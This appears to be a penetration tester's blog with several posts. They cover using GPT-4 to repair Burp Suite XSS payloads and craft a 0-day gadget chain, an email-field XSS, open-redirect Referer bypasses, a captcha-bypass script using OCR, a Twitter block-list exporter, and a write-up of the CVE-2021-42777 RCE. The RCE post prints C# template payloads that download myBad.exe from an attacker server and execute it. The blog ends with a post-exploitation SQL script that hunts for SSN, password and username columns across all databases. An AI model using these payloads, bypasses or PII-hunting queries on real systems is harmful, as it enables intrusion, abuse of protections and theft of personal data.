Monday, November 4, 2024

GPT: Burp Suite Exploit Validation, AI-Generated 0-Day Payloads and More

Ever since the day I had GPT-4 write a widget-chain for an old 0-day in five minutes that originally took me two or three work days to create (CVE-2021-42777) , I've been humbled by the power of using an AI automation that "understands" the context of various offensive security situations. This is probably going to sound like hype, so we're going to stick to practical examples that have actually resulted in exploits. AI is just another tool in the hacker tool box. As always, we as ethical hackers strive to mimic criminals by aiming for low-effort high-impact, and that certainly includes the use of AI (and specifically generative AI for its contextual abilities). By "context", I mean a few different situations, so I'll talk about examples for each one:

Payload Technical Requirements Context

For example, in that scenario for CVE-2021-42777, there were plenty of trial-and-error tasks that I did manually that could have been automated (specifically, the requirements allowed by the field, like: "it must not contain curly braces", "it must be one-line of C#", "it must return an object", etc.) However, instead of automating the trial-and-error recon, I chose to give the hardest part to the machine: the mental gymnastics of crafting the command that would fit all of those discovered payload requirements. I assumed it should be able to create a one-liner widget chain that would be useful for remote code execution. Well, I was not disappointed. It created a perfectly viable widget chain that met all of the requirements necessary to own the server in ONE PROMPT (while GPT-3.5 took about 30 prompts).

Traditionally, there was no reference or way to "google" how to do a 0-day like this - it essentially has to be generated or created for the first time. Enter generative AI. Because of this experience as a fairly new prompt engineer myself, I predict a lot of non-coding hackers becoming very good at creating low-level technical 0-days (of all types, not just widget chain RCEs), all because of access to this technology.

Exploit Brainstorming Context

Context is not limited to the reconnaissance phase either. I have used it for other types of research: brainstorming techniques for specialized XSS (i.e. expanding this one to be more generalized for many types of fields and field validation so it could be sprayed across many targets for bug bounties). 

Business Logic Context

Inspired by a Dan Miessler podcast, I had GPT find and review the manual for a product that I was trying to exploit. It will give you a list of what you're "not supposed to be able to do" and that becomes your hacking "to do" list!

Decision Making / Autonomous Hacking

The system can pick the next direction on a pen test, of course. I don't mean PentestGPT, which is very manually guided... in the early days of GPT, I built a system for autonomously moving through a system and prompting itself to ask the next question about the next possible hack. There's so many possible ways to hack a system, and it only needs to get one right to add a finding to a report, after all. Knowing this, I didn't mind the hallucinations or false attempts that much (as long as it could test and validate itself). Nowadays, there's likely better ones than the one I've made (in fact, one of the HOPE attendees reached out after my talk to tell me about RunSybil).

Technical Inventory Vulnerabilities Context

How great would it have been if we'd had GPT during the Log4J saga? Imagine just asking your systems "are there systems that have dependencies of dependencies and so on that use a Java logger". Even with manual validation, that would have saved so much research time! Also, speaking of validation...

Burp Suite Scanner Exploit Validation 

This is an XSS success story from a web application penetration test I recently completed as part of my consulting work. False positives aren't a new issue with scanners like the Burp Suite audit & crawl... but validating them with GPT certainly is! Here's how it works:

Originally, this XSS payload provided by the Burp Suite audit didn't launch:

https://REDACTED.COM/w/widget-settings-menu?type=panelWidgetSettings20454%3balert(1)%2f%2f663dtm5&panelOpts%5BdialogOpts%5D%5Btitle%5D=Widget+Setting

While trying to fix it so it would execute, I took a look at the code of the source page it was trying to inject and found the problem. After a few changes, I saw the payload wasn't properly escaping the JavaScript:

<html>

<script>

(function() {

 var opts67286f10 = {"dialogOpts":{"title":"Widget Setting","width":"900","height":"600"},"controller":"patient","action":"index","openTrigger":"openSettings","pre-name":"widget-settings","headerText":""};

 $("#widget-settings-panel").panelWidgetSettings2054;alert(1)//663dtm5(opts2865e6f10);}());

</script> </html>

So, I changed it manually by adding a </script> escape:

https://REDACTED.COM/w/widget-settings-menu?type=%3Ca%20href=%22yo%22%3EsdfSdfsdfsf%3C/a%3E}%3C/scrIpt%3E%3CscriPt%3Ealert(999)%3C/Script%3E&panelOptions[dialogOptions][title]=Widget+Setting

And... success!

But I couldn't help but wonder... I had a LOT more findings like this. Could I automate GPT-4 validating these? Since it's also very good at coding, and, given the correct requirements like in the 0-day story, couldn't it fix the payload if it had the right requirements provided as context?

I made a generalized prompt like this:

you are an excellent cybersecurity researcher.

knowing that the following web app likely has a [VULNERABILITY TYPE] issue, how can this payload be adjusted to exploit it, since the following payload doesn't launch it?

[PAYLOAD HERE]

the html of the web page:

[THE HTML CODE FROM THE PAGE]

In this case, after the GPT API tooling is done filling in the placeholders using information from the BurpSuite audit finding output, the raw prompt would look like this:

you are an excellent cybersecurity researcher.

knowing that the following snippet of the html page likely has a xss issue, how can this url be adjusted to launch the xss, since the following payload doesn't launch?

w/widget-settings-menu?type=panelWidgetSettings204%3balert(1)%2f%2f663dkktm5&panelOptions%5BdialogOptions%5D%5Btitle%5D=Widget+Setting

the snippet of html that contains javascript:

<html>

<script>

(function() {

 var opts67286f10 = {"dialogOptions":{"title":"Widget Setting","width":"900","height":"600"},"controller":"patient","action":"index","openTrigger":"openSettings","pre-name":"widget-settings","headerText":""};

 $("#widget-settings-panel").panelWidgetSettings2054;alert(1)//663dkktm5(options2865e6f10);}());

</script> </html>

It had great results! Here was the generated payload, and much faster than it would have taken me to do the validation manually:

https://REDACTED.COM/widgets/widget-settings-menu?type=panelWidgetSettings20454%3B%7D%29%3Balert%281%29%3B%28function%28%29%7B&panelOptions[dialogOptions][title]=Widget+Setting

I have written a lot of GPT-powered tools in the last year for both work, consulting, and personal use, and if it's not clear by now: this is not a trend and it's not slowing down. I'm blown away every day by what these systems are able to do, with the right prompt engineering. One day, I bet coding will be a quaint old-fashioned hobby like knitting - some people still do it, but mostly for fun because we have knitting machines to make most sweaters. It makes me hopeful that hackers will get to spend more time on more creative open-ended hacks that are harder to get the AI to do... like using the free trial version of software to get around encryption (like this one), and less time on the eye-bleeding activities that can be widget chains, scanner validation, or fiddling with XSS syntax or worn-in payload lists that all have well-known patches that defend against them (GPT can remix those payloads in a context-dependent way, of course!). But who knows, maybe with the right prompts the machine will do the outside-of-the-box hacks as well! 

It looks like there isn't already a GPT-powered scanner validator Burp Suite extension, so, I should probably write one. (Disclaimer: if you are interested in writing tools like this, be aware that this sort of functionality usually requires a private instance of an AI model to help prevent sensitive data leakage, never use public AI chat systems for sensitive work).


Wednesday, December 28, 2022

Input-Format-Depedent-XSS: Restrictions Are Your Best Friend!

Recently, I had a stubborn form where I attempted XSS in the free text fields, without success. Eventually, I also started looking at other input fields on the form that required stricter input formatting, such as phone number, SSN, address, etc.

Of course, the email field only accepts input containing an email address...! So, I tried an XSS payload containing a valid email, like:

<sCript>alert('burninatorsec@defcon.org')</scRipt>

And it works!

But why?

The validation logic is actually what is reflecting the XSS in the page. Therefore I wouldn't have been able to succeed without the input restriction! It didn't make XSS harder, it made it possible. Furthermore, automated vulnerability scanning tools that don't adjust their behavior to the expected input format based on business context won't find XSS issues like these, they will just dumbly try a bunch of standard payloads. My job is safe for another day.

How do these kind of vulnerabilities happen?

Likely the developer was playing fast and loose with regex, because it's clearly not matching in a way that forces a pattern exclusively (for example, maybe they are missing the "starts with"/"ends with" pattern matching characters). Or maybe they're not using a framework or library with built-in data formatting requirements. Just guessing, but that's the kind of mistake I would have made when I was a dev, and now I get to use it for hacking!

Also, consider that devs will often focus their time and energy on EITHER QA/business logic validation OR security validation, but not usually both. It's counterintuitive, but that's how restrictions can actually help hackers. 

So, at the risk of sounding too Sun-Tzu-Art-of-War: when you use your limitations to your advantage, then you have none.



 

Friday, November 18, 2022

Open Redirects - Payload List vs Manual Testing

 

In order to bypass a fix for a open redirect a second time, you may need to get creative with your payload list.

The original issue was exploitable with something like:

Referer: https://mybadsite.com#whitelistedsite.com

After the security patch, it no longer worked. Until I combined it with another payload:

Referer: https://whitelistedsite.com@mybadsite.com#whitelistedsite.com

(Note that whitelistedsite.com@mybadsite.com didn't work on it's own, so that's why it was important to combine the two)

Captcha Bypass Using Tesseract OCR and Python


import cv2
import pytesseract
from urllib.request import urlopen
import numpy as np
from bs4 import BeautifulSoup
import requests
import urllib.parse
import re

#burninator August 2022

#captcha bypass: by hitting the validation check API directly PLUS using OCR AI library to read the captcha


#contact_check_page = requests.get('https://ip-lookup.net/')

#testRegexTheCode = '/RECAPTCHACODE/RECAPTCHA.png'
#x = re.findall("[0-9]+",testRegexTheCode)
#print(str(x[0]))

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'}


# STEP ONE - get the recaptcha image text value first, before the .cgi check (order matters!)

#thesoupson = open('TARGET/TARGET.htm', 'r')
thesoupofcontact = requests.get('TARGET/', headers=headers) #also tested and working
thesoupson = thesoupofcontact.text
#for line in thesoupson:
#    print (str(line))

soup = BeautifulSoup(thesoupson, "html.parser")
images = soup.findAll('img')
for image in images:
    if ('recaptcha.png' in image['src']):
        print(str('target captcha ' + image['src']))
        targetCaptcha = image['src']
        recaptchaCodeMatch = re.findall("[0-9]+",targetCaptcha)
        print(str(recaptchaCodeMatch[0]))
        fromRecaptchaUrl = recaptchaCodeMatch[0]

#thesoupson.close()

pytesseract.pytesseract.tesseract_cmd = r'C:\PROGRA~1\Tesseract-OCR\tesseract.exe' #set env vars here because... MEH!

# Loading image using OpenCV
req = urlopen('https://TARGET+targetCaptcha)
arr = np.asarray(bytearray(req.read()), dtype=np.uint8)

img = cv2.imdecode(arr, -1)

#cv2.imshow('lalala', img)
if cv2.waitKey() & 0xff == 27: quit()

#img = cv2.imread('recaptcha.png')

# Converting to text
answerToRecaptcha = pytesseract.image_to_string(img)

print(str("this is the captcha text TEEHEE!" ) + answerToRecaptcha)

#STEP TWO - get the CGI value - usually loaded from Javascript from the
#CGI request is tested and working, tho i just added that cgisouprequestvar:
cgisouprequest = requests.get('https://TARGET/check.cgi')
cgisoup = cgisouprequest.text
print(cgisoup)

#cgisoup = open('TARGET/contact_check.cgi', 'r')
soupses = BeautifulSoup(cgisoup, "html.parser")
inputs = soupses.findAll('input')
for input in inputs:
    print (str(input['value']))
    thevalue = str(input['value'])

#cgisoup.close()

encodeme = urllib.parse.quote(thevalue, safe="")


contactCheckValue = encodeme
print(str(contactCheckValue))

#STEP THREE - build out the POST request with the stuff with the two variables + that same randomized User-Agent string

# also consider building this into either a Burp extension or Turbo Intruder (most likely an extension since it allows calling python modules or other treats from the path)

Tuesday, July 26, 2022

Twitter Removed the Blocked Account Export - Let's Put it Back!

I'm reposting my post from Stack Overflow here (+ the script) in case it gets deleted.

Other users have also noticed Twitter's "Export/Import Blocked Accounts" functionality disappear. They ask how to do it now:

 

https://webapps.stackexchange.com/a/165739

 

The way I did it wasn't pretty, but they severely limited our options by removing the export/import block list functionality. I requested my Data Archive (https://help.twitter.com/en/managing-your-account/how-to-download-your-twitter-archive). You'll notice that it only contains link out to the web version of the block list. Since that list is dynamically loaded, it is not easy to web scrape without Selenium or a proxy, and it will get ugly.

So, instead, I dug around in the Data Archive and eventually found block.js, which is a JSON object of all the blocked accounts in their ideas. From there you can write a quick Python script to use the Twitter API to resolve all of those IDs to usernames. 

Here's some sloppy Python that technically works: 

# Burninator 2022
# Export block list functionality that Twitter randomly removed
# Used to block all the promoted content, will be posting a list of about 5000 blocked accounts shortly



from requests_oauthlib import OAuth1Session
import os
import json
import time


def getblocklist(fancyfile):
    consumer_key = "HAHA"
    consumer_secret = "NICETRYHACKERS"

    # Get request token
    request_token_url = "https://api.twitter.com/oauth/request_token?oauth_callback=oob&x_auth_access_type=write"
    oauth = OAuth1Session(consumer_key, client_secret=consumer_secret)

    try:
        fetch_response = oauth.fetch_request_token(request_token_url)
    except ValueError:
        print(
            "There may have been an issue with the consumer_key or consumer_secret you entered."
        )

    resource_owner_key = fetch_response.get("oauth_token")
    resource_owner_secret = fetch_response.get("oauth_token_secret")
    print("Got OAuth token: %s" % resource_owner_key)

    # Get authorization
    base_authorization_url = "https://api.twitter.com/oauth/authorize"
    authorization_url = oauth.authorization_url(base_authorization_url)
    print("Please go here and authorize: %s" % authorization_url)
    verifier = input("Paste the PIN here: ")

    # Get the access token
    access_token_url = "https://api.twitter.com/oauth/access_token"
    oauth = OAuth1Session(
        consumer_key,
        client_secret=consumer_secret,
        resource_owner_key=resource_owner_key,
        resource_owner_secret=resource_owner_secret,
        verifier=verifier,
    )
    oauth_tokens = oauth.fetch_access_token(access_token_url)

    access_token = oauth_tokens["oauth_token"]
    access_token_secret = oauth_tokens["oauth_token_secret"]

    # Make the request
    oauth = OAuth1Session(
        consumer_key,
        client_secret=consumer_secret,
        resource_owner_key=access_token,
        resource_owner_secret=access_token_secret,
    )

    logMe = open(fancyfile, 'r') #Block.js from user's data archive download
    leoutput = open("block_names.txt", 'a') #save account names here
    thecounter = 1

    for line in logMe:
        thatsTheTweet = "Current blocked account ID: " + line
        line = line.strip()
        thecounter = thecounter + 1

        # Making the request
        response = oauth.get(
            "https://api.twitter.com/2/users/"+line+"?user.fields=name"
        )

        #print (str(response.content))
        if (response.status_code != 201) and (response.status_code != 200):
            print("Request returned an error: {} {}".format(response.status_code, response.text))

        if ("Not Found Error" in response.text):
            print("Response code User Not Found: {}".format(response.status_code))
            continue

        if ("Forbidden" in response.text):
            print("Response code Forbidden: {}".format(response.status_code))
            continue

        if response.status_code == 429:
            print("Response code 429 usually is rate limit: {}".format(response.status_code))
            logMe.close()
            leoutput.close()
            exit(1337)


        print("Response code: {}".format(response.status_code))

        # Saving the response as JSON
        json_response = response.json()
        print(json.dumps(json_response, indent=4, sort_keys=True))

        snarf= json.dumps(json_response, indent=4, sort_keys=True)
        thejson = json.loads(snarf)
        writeme = thejson['data']['username'] #     "data" "username"
        leoutput.write(writeme+"\n")

        if (thecounter < 200):
            time.sleep(20)  # make it 20, 38 wroks
        else:
            time.sleep(63)

    logMe.close()
    leoutput.close()
    print("done")
    exit(1338)


if __name__ == '__main__':
    getblocklist('firstshot_twitter_block_reduced.txt')

 

 https://webapps.stackexchange.com/a/165739

Saturday, April 16, 2022

Reporting Library RCE (Object Chaining) - CVE-2021-42777

 

Similar to CVE-2020-15865. However, this one was a little trickier because I could only execute chained C# commands that ultimately return an Object. This is a technique that can be used anywhere where user input is compiled by design, such as in template injection. In fact, hackers I've shared this story with had success using the concept across different languages and systems.

Information Disclosure to RCE 

This started with a low severity issue - a verbose error message from the application when I typed SQL junk into the Report Editor, looking for a SQL injection. The errors contained CS1503 (C# compilation errors) returned from Stimulsoft Reports 2013.1.1600.0, so I was confident there was an RCE available: 

 

So, after trying a few C# commands, I eventually I got errors like:

 C:\User\burninator\AppData\Local\Temp\klqskh4k.0.cs(578,74): error CS1502: The best overloaded method match for '****.ToString(object,object,bool)' has some invalid arguments: error CS1503: Argument 2: cannot convert from method group' to 'object' 

Bingo! I love to hear that something is being converted, and in a function we apparently have control over. This error is a wonderful window into how this works. I can tell from the error that it will only compile and execute successfully if we give it something that it can interpret as an Object. I tested this by sending {new Object()}, and it compiled without error! These work too but they're not that helpful (yet): 

{new System.Diagnostics.Process()}

{System.Math.Ceiling} 

{new System.Diagnostics.StackTrace(true).GetFrame(1).GetMethod()}

So, how can I weaponize this? Since this is a local thick client application, the first step is to figure out if it's going to execute these commands locally or on the application web server it's connected to. Surprise! It actually does both, since I was able to chain this with other functionality to make it launch server side AND locally. But first let's find proof that we can inject a malicious command... 

To find out, I read the manual. I actually READ the manual for the C# language. I know, I know. Disgusting. It's a taboo I didn't even do and would never have done when I was a developer. But it was important here, because I needed to find attack chains that would let me: 

1.)  execute a command on the local machine (pop calc.exe) 

2.) execute a command locally to make the remote server do an external DNS hit POC and then make it download/write/execute the file

It reminded me a lot of Object Deserialization gadget/widget chains in YsoSerial, which are well known internal commands or system objects that aid with command injection and execution (i.e.http://gursevkalra.blogspot.com/2016/01/ysoserial-commonscollections1-exploit.html ). But given my constraints, I had to create my own. If you aren't familiar with Objects in Object Oriented Programming languages, here's a quick rundown from my presentation on Object Attacks and how I used them in this context. The class definitions are from the C# manual:

{System.IO.File.ReadAllText(@"dontlook.txt")} 

(NOTE: the curly brackets are for the templating system, they're not valid C#)

{System.Net.WebRequest.Create("https://ATTACKSERVER:8000/myBad.exe").GetResponse().GetResponseStream()}

{System.Diagnostics.Process.Start("myBad.exe")}

That's how I got one of the weirdest shells ever.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42777

 

 

 

Also, now that I've written this out, I realize that by far the least fun part of this exploit was reading the C# manual to find interesting File IO and Networking gadget chains that return Objects... it was a lot of 2am nights. So I think I will end up automating that process, if something like it doesn't already exist.

Sunday, January 2, 2022

Post-Exploitation PII Search Across All Databases

This is an improvement on the previous PII finder scripts. Since often times production db servers have many databases, this will iterate over ALL DATABASES at once.

 

IMPORTANT: Run select name, database_id from sys.Databases to figure out which databases you are interested in querying, and adjust the counter accordingly. Most times, there's a handful of system databases that are unlikely to be useful for finding PII, so I have excluded the first four by default:

 

declare @dbname VARCHAR(60)
declare @counter int;


declare @maxnames int;


declare @piisearch VARCHAR(500);

set @maxnames = (select count(name) from sys.databases where database_id > 4); /*exclude system tables, will vary based on database*/


set @counter = 4; /*change it here too*/

while @counter < @maxnames
begin

set @dbname = (select name from sys.databases where database_id = @counter)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%SSN%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%pw%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%asswor%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%sername%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%DOB%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%license%'';'

execute(@piisearch)

set @counter = @counter + 1

/*print @dbname*/

End